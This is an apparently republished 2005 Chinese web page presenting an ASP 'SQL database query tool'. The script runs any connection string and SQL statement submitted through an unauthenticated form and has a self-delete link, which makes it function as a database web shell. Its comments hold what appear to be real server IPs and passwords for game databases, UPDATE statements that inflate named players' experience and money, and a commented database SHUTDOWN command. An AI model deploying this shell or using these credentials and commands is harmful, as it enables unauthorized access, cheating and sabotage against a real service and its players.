asp sql 数据库查询器
来源：岁月联盟
时间：2005-09-30
conn_sql=request.form("conn_sql")
sql=request.form("sql")
session("conn_sql")=conn_sql
session("sql")=sql
%><html>
<head><title></title></head>
<body>
<table border=1>
<form method="post">
<tr><td>连接字串：</td>
<td colspan=2><input type=text name="conn_sql" size=50 value="<%=session("conn_sql")%>"></td></tr>
<tr><td>查询语句：</td><td colspan=2><textarea cols=50 rows=5 name="sql"><%=session("sql")%></textarea></td></tr>
<tr><td>是否返回结果：</td><td><input type=radio name=type value=0 checked>返回 <input type=radio name=type value=1>不返回</td><td align=right><a href="<%=request.servervariables("SCRIPT_NAME")%>?mod=del">自毁</a></td></tr>
<tr><td colspan=3 align=center><input type=submit value="查询"> <input type=reset value="重填"></td></tr>
</form>
</table><br>
<%
if request.querystring("mod")="del" then
filepath=server.MapPath(request.servervariables("SCRIPT_NAME"))
Set fso=server.CreateObject("scripting.filesystemobject")
Set a = fso.GetFile(filepath)
a.Delete
set fso=nothing
response.write "<FONT color=red>本文件已经删除！</font>"
end if
'conn_sql="Provider=SQLOLEDB;User ID=db_heatgame;Password=dbheat$$!@;Initial Catalog=heatgame;Data Source=192.168.0.1" 'webdb
'conn_sql="Provider=SQLOLEDB;User ID=AuthSvr;Password=acs490g;Initial Catalog=Authsvr;Data Source=10.58.1.7" 'gamedb
'conn_sql="driver={SQL Server};server=218.78.213.134;UID=heatsvr;PWD=acs490g;DATABASE=heatsvr"
'conn_sql="driver={SQL Server};server=210.51.24.30;UID=heatsvr;PWD=acs490g;DATABASE=heatsvr"
if request.servervariables("REQUEST_METHOD")="POST" then
response.write "<hr align=center>以下为返回的查询结果："
Set Conn = Server.CreateObject("ADODB.Connection")
set rs=Server.CreateObject("ADODB.Connection")
conn.open conn_sql
'set conn=application("conn")
'sql="select top 1 * from AccountMain where chAccountName='meteorites'"
'sql="SELECT * FROM charmain where nexp>=500000 order by nexp desc"
'sql="SELECT * FROM charmain where chcharname='T_T'"
'sql="SELECT * FROM charmain where nmoney>3000000"
'sql="select top 100 * from AuthLog where chCharName='不仁上将'"
'sql="sp_help"
'sql="sp_helptext SetAccountChar"
'sql="select * from sysobjects where xtype='p' and crdate>'2004-2-3'"
'sql="select * from Game_ServerArea"
'sql="select top 20 * from AccountMain"
'sql1="update charmain set nexp=792071,nkillnum=3672,ndeadnum=911 where chaccount='huier6655'"
'sql1="update charmain set nmoney=nmoney+1500000 where chaccount='okwinds'"
if request.form("type")=1 then
conn.execute sql
response.write "操作成功！"
else
set rs=conn.execute(sql)
response.write "<table border=1>" & vbcrlf
response.write "<tr style=""font-size:9pt;color:black"">"
for i=1 to rs.fields.count
response.write "<td style=""font-size:9pt;color:black"">"& rs.fields(i-1).name &"</td>"
next
response.write "</tr>"
do while not rs.eof
response.write "<tr onmouseover=""this.style.background='#ccffcc';this.style.cursor='hand';"" onmouseout=""this.style.background=body.style.background;"">" & vbcrlf
for j=1 to rs.fields.count
response.write "<td style=""font-size:9pt;color:black"">"& rs.fields(j-1) &"</td>"
next
response.write "</tr>" & vbcrlf
rs.movenext
loop
response.write "</table>"
rs.close
set rs=nothing
end if
end if
'conn.execute("SHUTDOWN WITH NOWAIT")
'response.write "夜深了，大家该休息了!"
if isobject(conn) then
conn.close
set conn=nothing
end if
%></body>
</html>
上一篇：邮件发送当前页面
